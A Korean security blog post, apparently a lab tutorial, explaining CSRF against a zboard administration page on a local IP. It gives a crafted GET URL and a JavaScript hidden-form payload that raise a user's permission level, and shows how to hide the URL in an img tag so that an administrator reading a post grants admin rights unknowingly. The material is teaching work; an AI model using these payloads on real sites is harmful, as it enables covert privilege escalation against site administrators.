2017. 8. 29. 20:08ㆍWebHacking/Web
CSRF ( Cross Site Request Forgery )
HTML태그를 이용한 요청값을 변조하는 공격법
# 관리자 권한을 가지고 있는 경우의 공격
위 화면은 관리자가 특정 계정에 대한 권한레벨을 임명해주는 페이지의 소스코드입니다
해당 페이지를 분석해보면, form 태그에 변수들을 입력하고, " http://192.168.6.123/zboard/admin_setup.php " 페이지로 전송합니다
전송된 변수들의 값에 따라서 특정 사용자의 권한레벨이 변경됩니다 ( 변수이름 : movelevel )
그럼 위의 변수들을 조사해서 해당 변수값들을 이용한 공격을 해보겠습니다
해당 페이지에서 사용하는 변수들은 다음과 같습니다
[ form 태그 변수들 ] page= 1 group_no=1 exec=view_member page_num= 10 exec2=moveall cart[]=2( 사용자를 식별하는 번호) movelevel=1~10 ( 사용자에게 지정할 권한레벨 ) |
1> GET방식을 이용한 공격
URL에 위의 변수들을 모두 입력해서 " http://192.168.6.123/zboard/admin_setup.php " 페이지로 이동하면 됩니다
http://192.168.6.123/zboard/admin_setup.php?page= 1&group_no=1&exec=view_member&page_num= 10&exec2=moveall&cart[]=2&movelevel=10 |
해당 변수값들에 공격자가 입력한 입력값들로 초기화 됩니다
2> POST방식을 이용한 공격
[ 공격 전 페이지 ]
해당 사용자의 권한레벨은 현재 3입니다
[ 자바스크립트 코드 실행 ]
[1] 자바스크립트 코드를 이용해 폼을 직접 작성
[2] 폼을 통해 변수들에 값을 대입하여 전송한다
[3] 사용 코드
document.write("<form method=post action='http://192.168.6.123/zboard/admin_setup.php'><input type=hidden name=page value=1 /><input type=hidden name=group_no value=1 /><input type=hidden name=exec value=view_member /><input type=hidden name=page_num value= 10 /><input type=hidden name=exec2 value=moveall /><input type=hidden name=cart[] value=2 /><input type=hidden name=movelevel value=10 /><input type=submit value="제출" /></form>"); |
[ 공격 결과 ]
폼으로 전송한 값들이 변수에 대입되서, 특정 사용자의 권한이 3에서 10으로 변경되었습니다
# 관리자의 권한을 가지고 있지 않을 때
관리자를 유인해서 관리자의 권한으로 자바스크립트 코드를 실행시킨다
[ 일반 사용자 계정 하나 생성 ]
[ 생성한 계정의 member_no ( 회원별 식별자 ) 확인 ]
[ img 태그 활용 ]
이미지 태그의 주소값 => 사용자가 원하지 않아도 해당 주소를 요청하게 되는 것을 이용
현재 이미지 태그에 저장한 주소는 변수들에 값을 저장하고 이동한 관리자페이지 주소입니다 ( GET방식을 이용한 공격 코드를 이용 )
변수값에 위에서 생성한 계정에 대한 권한을 관리자 권한으로 수정하도록 ( is_admin = 1 ) 변수값을 지정했다
관리자가 해당 게시글을 읽으러 들어왔다면 img태그가 작동해서 자동으로 src에 저장된 페이지를 요청한다
즉, 관리자의 권한으로 관리자 페이지에 접속해서 eun계정의 권한을 바꾸는 요청을 하게된다
( 관리자는 이를 인식하지못한다 )
[ 관리자가 해당 게시글을 읽음 ]
[ 기존 계정의 Level ]
[ 관리자에 의해 변경되었다 ]
'WebHacking > Web' 카테고리의 다른 글
SQL injection 개념, 원리 (0) | 2017.09.01 |
---|---|
아파치 웹 서버 설정 파일 / 확장자 우회 / 웹쉘 / 바인드쉘 / 리버스쉘 (0) | 2017.08.31 |
XSS ( Cross Site Scripting ) 개념 및 실습 (1) | 2017.08.28 |
PHP와 MySQL을 활용한 게시판 만들기[4] - 게시글목록 (0) | 2017.08.25 |
PHP와 MySQL을 활용한 게시판 만들기[3] - 로그아웃, 게시글작성 (0) | 2017.08.24 |